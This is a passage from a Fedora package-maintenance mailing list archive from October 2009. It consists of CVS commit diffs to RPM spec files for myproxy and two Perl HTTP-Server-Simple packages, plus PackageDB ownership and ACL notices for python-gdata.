@@ -383,6 +391,8 @@ fi
 %{_libdir}/pkgconfig/myproxy.pc
 
 %changelog
+* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> - 4.8-5
+- Disable openldap support for el4 only since openldap to old.
 * Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
 - Add ASL 2.0 license as well.
 - Explicitly add /etc/grid-security to files list



From stevetraylen at fedoraproject.org  Tue Oct 13 07:31:53 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Tue, 13 Oct 2009 07:31:53 +0000 (UTC)
Subject: rpms/myproxy/F-11 myproxy.spec,1.1,1.2
Message-ID: <20091013073153.BEBB811C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24195/F-11

Modified Files:
	myproxy.spec 
Log Message:
Disable openldap for .el4 build.



Index: myproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/F-11/myproxy.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- myproxy.spec	11 Oct 2009 06:15:54 -0000	1.1
+++ myproxy.spec	13 Oct 2009 07:31:53 -0000	1.2
@@ -8,7 +8,7 @@
 
 Name:           myproxy
 Version:        4.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials
 
 Group:          System Environment/Daemons
@@ -26,7 +26,9 @@ BuildRequires:  pam-devel
 BuildRequires:  graphviz
 BuildRequires:  voms-devel >= 1.9.12.1
 BuildRequires:  cyrus-sasl-devel
+%if "%{?rhel}" != "4"
 BuildRequires:  openldap-devel >= 2.3
+%endif
 BuildRequires:  grid-packaging-tools 
 BuildRequires:  doxygen
 
@@ -168,9 +170,15 @@ sed -e "s!<With_Flavors!<With_Flavors Co
 
 %{_datadir}/globus/globus-bootstrap.sh
 
+%if "%{?rhel}" == "4"
+%configure --with-flavor=%{flavor}  --enable-doxygen \
+                                    --with-voms=%{_usr} --without-openldap \
+                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%else
 %configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                     --with-voms=%{_usr} \
                                     --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%endif
 make %{?_smp_mflags}
 
 %install
@@ -383,6 +391,8 @@ fi
 %{_libdir}/pkgconfig/myproxy.pc
 
 %changelog
+* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> - 4.8-5
+- Disable openldap support for el4 only since openldap to old.
 * Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
 - Add ASL 2.0 license as well.
 - Explicitly add /etc/grid-security to files list



From stevetraylen at fedoraproject.org  Tue Oct 13 07:31:54 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Tue, 13 Oct 2009 07:31:54 +0000 (UTC)
Subject: rpms/myproxy/devel myproxy.spec,1.1,1.2
Message-ID: <20091013073154.33FC811C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24195/devel

Modified Files:
	myproxy.spec 
Log Message:
Disable openldap for .el4 build.



Index: myproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/devel/myproxy.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- myproxy.spec	11 Oct 2009 06:06:21 -0000	1.1
+++ myproxy.spec	13 Oct 2009 07:31:54 -0000	1.2
@@ -8,7 +8,7 @@
 
 Name:           myproxy
 Version:        4.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials
 
 Group:          System Environment/Daemons
@@ -26,7 +26,9 @@ BuildRequires:  pam-devel
 BuildRequires:  graphviz
 BuildRequires:  voms-devel >= 1.9.12.1
 BuildRequires:  cyrus-sasl-devel
+%if "%{?rhel}" != "4"
 BuildRequires:  openldap-devel >= 2.3
+%endif
 BuildRequires:  grid-packaging-tools 
 BuildRequires:  doxygen
 
@@ -168,9 +170,15 @@ sed -e "s!<With_Flavors!<With_Flavors Co
 
 %{_datadir}/globus/globus-bootstrap.sh
 
+%if "%{?rhel}" == "4"
+%configure --with-flavor=%{flavor}  --enable-doxygen \
+                                    --with-voms=%{_usr} --without-openldap \
+                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%else
 %configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                     --with-voms=%{_usr} \
                                     --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
+%endif
 make %{?_smp_mflags}
 
 %install
@@ -383,6 +391,8 @@ fi
 %{_libdir}/pkgconfig/myproxy.pc
 
 %changelog
+* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> - 4.8-5
+- Disable openldap support for el4 only since openldap to old.
 * Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
 - Add ASL 2.0 license as well.
 - Explicitly add /etc/grid-security to files list



From pkgdb at fedoraproject.org  Tue Oct 13 08:37:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:37:01 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091013083701.6ECC710F87F@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora devel is now owned by sundaram

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:37:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:37:25 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091013083725.9038B10F889@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 10 is now owned by sundaram

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:37:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:37:46 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013083746.B058C10F882@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora 10) to Approved for bjohnson

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:37:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:37:48 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091013083748.6B4B910F8A3@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 12 is now owned by sundaram

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:37:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:37:52 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013083752.B301610F8A8@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora 12) to Approved for bjohnson

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:37:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:37:56 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091013083756.3051610F87F@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 11 is now owned by sundaram

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:38:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:38:00 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013083800.8106010F882@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora 11) to Approved for bjohnson

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 08:38:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 08:38:12 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013083813.1BF1610F87F@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora devel) to Approved for bjohnson

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From corsepiu at fedoraproject.org  Tue Oct 13 08:38:32 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:38:32 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple/F-11 .cvsignore, 1.14,
	1.15 perl-HTTP-Server-Simple.spec, 1.18, 1.19 sources, 1.14, 1.15
Message-ID: <20091013083832.8DCDE11C00EB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12596/F-11

Modified Files:
	.cvsignore perl-HTTP-Server-Simple.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	8 Sep 2009 14:33:54 -0000	1.14
+++ .cvsignore	13 Oct 2009 08:38:31 -0000	1.15
@@ -1 +1 @@
-HTTP-Server-Simple-0.40.tar.gz
+HTTP-Server-Simple-0.41.tar.gz


Index: perl-HTTP-Server-Simple.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-11/perl-HTTP-Server-Simple.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- perl-HTTP-Server-Simple.spec	8 Sep 2009 14:33:54 -0000	1.18
+++ perl-HTTP-Server-Simple.spec	13 Oct 2009 08:38:31 -0000	1.19
@@ -1,5 +1,5 @@
 Name:           perl-HTTP-Server-Simple
-Version:        0.40
+Version:        0.41
 Release:        1%{?dist}
 Summary:        Very simple standalone HTTP daemon
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
+- Upstream update.
+
 * Tue Sep 08 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.40-1
 - Upstream update.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	8 Sep 2009 14:33:54 -0000	1.14
+++ sources	13 Oct 2009 08:38:31 -0000	1.15
@@ -1 +1 @@
-12d24449cf2d3f4c2216132e4c1fef65  HTTP-Server-Simple-0.40.tar.gz
+5c9ddbba7b492a60000af4c29ee0eeac  HTTP-Server-Simple-0.41.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:38:32 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:38:32 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple/devel .cvsignore, 1.14,
	1.15 perl-HTTP-Server-Simple.spec, 1.19, 1.20 sources, 1.14, 1.15
Message-ID: <20091013083832.9F5CD11C0296@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12596/devel

Modified Files:
	.cvsignore perl-HTTP-Server-Simple.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	8 Sep 2009 14:30:53 -0000	1.14
+++ .cvsignore	13 Oct 2009 08:38:32 -0000	1.15
@@ -1 +1 @@
-HTTP-Server-Simple-0.40.tar.gz
+HTTP-Server-Simple-0.41.tar.gz


Index: perl-HTTP-Server-Simple.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/devel/perl-HTTP-Server-Simple.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- perl-HTTP-Server-Simple.spec	8 Sep 2009 14:30:53 -0000	1.19
+++ perl-HTTP-Server-Simple.spec	13 Oct 2009 08:38:32 -0000	1.20
@@ -1,5 +1,5 @@
 Name:           perl-HTTP-Server-Simple
-Version:        0.40
+Version:        0.41
 Release:        1%{?dist}
 Summary:        Very simple standalone HTTP daemon
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
+- Upstream update.
+
 * Tue Sep 08 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.40-1
 - Upstream update.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	8 Sep 2009 14:30:53 -0000	1.14
+++ sources	13 Oct 2009 08:38:32 -0000	1.15
@@ -1 +1 @@
-12d24449cf2d3f4c2216132e4c1fef65  HTTP-Server-Simple-0.40.tar.gz
+5c9ddbba7b492a60000af4c29ee0eeac  HTTP-Server-Simple-0.41.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:38:32 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:38:32 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple/F-10 .cvsignore, 1.14,
	1.15 perl-HTTP-Server-Simple.spec, 1.17, 1.18 sources, 1.14, 1.15
Message-ID: <20091013083832.8DC1011C00E8@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12596/F-10

Modified Files:
	.cvsignore perl-HTTP-Server-Simple.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-10/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	8 Sep 2009 14:35:31 -0000	1.14
+++ .cvsignore	13 Oct 2009 08:38:32 -0000	1.15
@@ -1 +1 @@
-HTTP-Server-Simple-0.40.tar.gz
+HTTP-Server-Simple-0.41.tar.gz


Index: perl-HTTP-Server-Simple.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-10/perl-HTTP-Server-Simple.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- perl-HTTP-Server-Simple.spec	8 Sep 2009 14:35:31 -0000	1.17
+++ perl-HTTP-Server-Simple.spec	13 Oct 2009 08:38:32 -0000	1.18
@@ -1,5 +1,5 @@
 Name:           perl-HTTP-Server-Simple
-Version:        0.40
+Version:        0.41
 Release:        1%{?dist}
 Summary:        Very simple standalone HTTP daemon
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
+- Upstream update.
+
 * Tue Sep 08 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.40-1
 - Upstream update.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-10/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	8 Sep 2009 14:35:31 -0000	1.14
+++ sources	13 Oct 2009 08:38:32 -0000	1.15
@@ -1 +1 @@
-12d24449cf2d3f4c2216132e4c1fef65  HTTP-Server-Simple-0.40.tar.gz
+5c9ddbba7b492a60000af4c29ee0eeac  HTTP-Server-Simple-0.41.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:38:32 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:38:32 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple/F-12 .cvsignore, 1.14,
	1.15 perl-HTTP-Server-Simple.spec, 1.19, 1.20 sources, 1.14, 1.15
Message-ID: <20091013083832.92C8A11C0267@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12596/F-12

Modified Files:
	.cvsignore perl-HTTP-Server-Simple.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	8 Sep 2009 14:30:53 -0000	1.14
+++ .cvsignore	13 Oct 2009 08:38:31 -0000	1.15
@@ -1 +1 @@
-HTTP-Server-Simple-0.40.tar.gz
+HTTP-Server-Simple-0.41.tar.gz


Index: perl-HTTP-Server-Simple.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-12/perl-HTTP-Server-Simple.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- perl-HTTP-Server-Simple.spec	8 Sep 2009 14:30:53 -0000	1.19
+++ perl-HTTP-Server-Simple.spec	13 Oct 2009 08:38:31 -0000	1.20
@@ -1,5 +1,5 @@
 Name:           perl-HTTP-Server-Simple
-Version:        0.40
+Version:        0.41
 Release:        1%{?dist}
 Summary:        Very simple standalone HTTP daemon
 
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.41-1
+- Upstream update.
+
 * Tue Sep 08 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.40-1
 - Upstream update.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	8 Sep 2009 14:30:53 -0000	1.14
+++ sources	13 Oct 2009 08:38:31 -0000	1.15
@@ -1 +1 @@
-12d24449cf2d3f4c2216132e4c1fef65  HTTP-Server-Simple-0.40.tar.gz
+5c9ddbba7b492a60000af4c29ee0eeac  HTTP-Server-Simple-0.41.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:52:36 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:52:36 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple-Mason/devel .cvsignore, 1.4,
	1.5 perl-HTTP-Server-Simple-Mason.spec, 1.10, 1.11 sources, 1.4, 1.5
Message-ID: <20091013085236.0C69211C00E8@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18562/devel

Modified Files:
	.cvsignore perl-HTTP-Server-Simple-Mason.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Jul 2009 16:34:29 -0000	1.4
+++ .cvsignore	13 Oct 2009 08:52:35 -0000	1.5
@@ -1 +1 @@
-HTTP-Server-Simple-Mason-0.12.tar.gz
+HTTP-Server-Simple-Mason-0.13.tar.gz


Index: perl-HTTP-Server-Simple-Mason.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/devel/perl-HTTP-Server-Simple-Mason.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-HTTP-Server-Simple-Mason.spec	26 Jul 2009 06:35:50 -0000	1.10
+++ perl-HTTP-Server-Simple-Mason.spec	13 Oct 2009 08:52:35 -0000	1.11
@@ -1,6 +1,6 @@
 Name: 		perl-HTTP-Server-Simple-Mason
-Version: 	0.12
-Release: 	2%{?dist}
+Version: 	0.13
+Release: 	1%{?dist}
 Summary:	HTTP::Server::Simple::Mason Perl module
 License:	GPL+ or Artistic
 Group:		Development/Libraries
@@ -55,6 +55,9 @@ make test
 %{_mandir}/man3/*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
+- Upstream update.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.12-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Jul 2009 16:34:29 -0000	1.4
+++ sources	13 Oct 2009 08:52:35 -0000	1.5
@@ -1 +1 @@
-9331c279f3fadb3ccba3b6ef42647e0b  HTTP-Server-Simple-Mason-0.12.tar.gz
+002d315a559e86ba62f7d826fbcc9b89  HTTP-Server-Simple-Mason-0.13.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:52:36 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:52:36 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple-Mason/F-12 .cvsignore, 1.4,
	1.5 perl-HTTP-Server-Simple-Mason.spec, 1.10, 1.11 sources, 1.4, 1.5
Message-ID: <20091013085236.32BE111C00E8@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18562/F-12

Modified Files:
	.cvsignore perl-HTTP-Server-Simple-Mason.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Jul 2009 16:34:29 -0000	1.4
+++ .cvsignore	13 Oct 2009 08:52:35 -0000	1.5
@@ -1 +1 @@
-HTTP-Server-Simple-Mason-0.12.tar.gz
+HTTP-Server-Simple-Mason-0.13.tar.gz


Index: perl-HTTP-Server-Simple-Mason.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-12/perl-HTTP-Server-Simple-Mason.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-HTTP-Server-Simple-Mason.spec	26 Jul 2009 06:35:50 -0000	1.10
+++ perl-HTTP-Server-Simple-Mason.spec	13 Oct 2009 08:52:36 -0000	1.11
@@ -1,6 +1,6 @@
 Name: 		perl-HTTP-Server-Simple-Mason
-Version: 	0.12
-Release: 	2%{?dist}
+Version: 	0.13
+Release: 	1%{?dist}
 Summary:	HTTP::Server::Simple::Mason Perl module
 License:	GPL+ or Artistic
 Group:		Development/Libraries
@@ -55,6 +55,9 @@ make test
 %{_mandir}/man3/*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
+- Upstream update.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.12-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Jul 2009 16:34:29 -0000	1.4
+++ sources	13 Oct 2009 08:52:36 -0000	1.5
@@ -1 +1 @@
-9331c279f3fadb3ccba3b6ef42647e0b  HTTP-Server-Simple-Mason-0.12.tar.gz
+002d315a559e86ba62f7d826fbcc9b89  HTTP-Server-Simple-Mason-0.13.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:52:36 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:52:36 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple-Mason/F-11 .cvsignore, 1.4,
	1.5 perl-HTTP-Server-Simple-Mason.spec, 1.9, 1.10 sources, 1.4, 1.5
Message-ID: <20091013085236.6564011C00E8@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18562/F-11

Modified Files:
	.cvsignore perl-HTTP-Server-Simple-Mason.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Jul 2009 16:34:29 -0000	1.4
+++ .cvsignore	13 Oct 2009 08:52:36 -0000	1.5
@@ -1 +1 @@
-HTTP-Server-Simple-Mason-0.12.tar.gz
+HTTP-Server-Simple-Mason-0.13.tar.gz


Index: perl-HTTP-Server-Simple-Mason.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-11/perl-HTTP-Server-Simple-Mason.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- perl-HTTP-Server-Simple-Mason.spec	20 Jul 2009 16:34:29 -0000	1.9
+++ perl-HTTP-Server-Simple-Mason.spec	13 Oct 2009 08:52:36 -0000	1.10
@@ -1,5 +1,5 @@
 Name: 		perl-HTTP-Server-Simple-Mason
-Version: 	0.12
+Version: 	0.13
 Release: 	1%{?dist}
 Summary:	HTTP::Server::Simple::Mason Perl module
 License:	GPL+ or Artistic
@@ -55,6 +55,9 @@ make test
 %{_mandir}/man3/*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
+- Upstream update.
+
 * Mon Jul 20 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.12-1
 - Upstream update.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Jul 2009 16:34:29 -0000	1.4
+++ sources	13 Oct 2009 08:52:36 -0000	1.5
@@ -1 +1 @@
-9331c279f3fadb3ccba3b6ef42647e0b  HTTP-Server-Simple-Mason-0.12.tar.gz
+002d315a559e86ba62f7d826fbcc9b89  HTTP-Server-Simple-Mason-0.13.tar.gz



From corsepiu at fedoraproject.org  Tue Oct 13 08:52:36 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Tue, 13 Oct 2009 08:52:36 +0000 (UTC)
Subject: rpms/perl-HTTP-Server-Simple-Mason/F-10 .cvsignore, 1.4,
	1.5 perl-HTTP-Server-Simple-Mason.spec, 1.8, 1.9 sources, 1.4, 1.5
Message-ID: <20091013085236.9DEEF11C00E8@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18562/F-10

Modified Files:
	.cvsignore perl-HTTP-Server-Simple-Mason.spec sources 
Log Message:
* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
- Upstream update.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Jul 2009 16:34:29 -0000	1.4
+++ .cvsignore	13 Oct 2009 08:52:36 -0000	1.5
@@ -1 +1 @@
-HTTP-Server-Simple-Mason-0.12.tar.gz
+HTTP-Server-Simple-Mason-0.13.tar.gz


Index: perl-HTTP-Server-Simple-Mason.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-10/perl-HTTP-Server-Simple-Mason.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-HTTP-Server-Simple-Mason.spec	20 Jul 2009 16:34:29 -0000	1.8
+++ perl-HTTP-Server-Simple-Mason.spec	13 Oct 2009 08:52:36 -0000	1.9
@@ -1,5 +1,5 @@
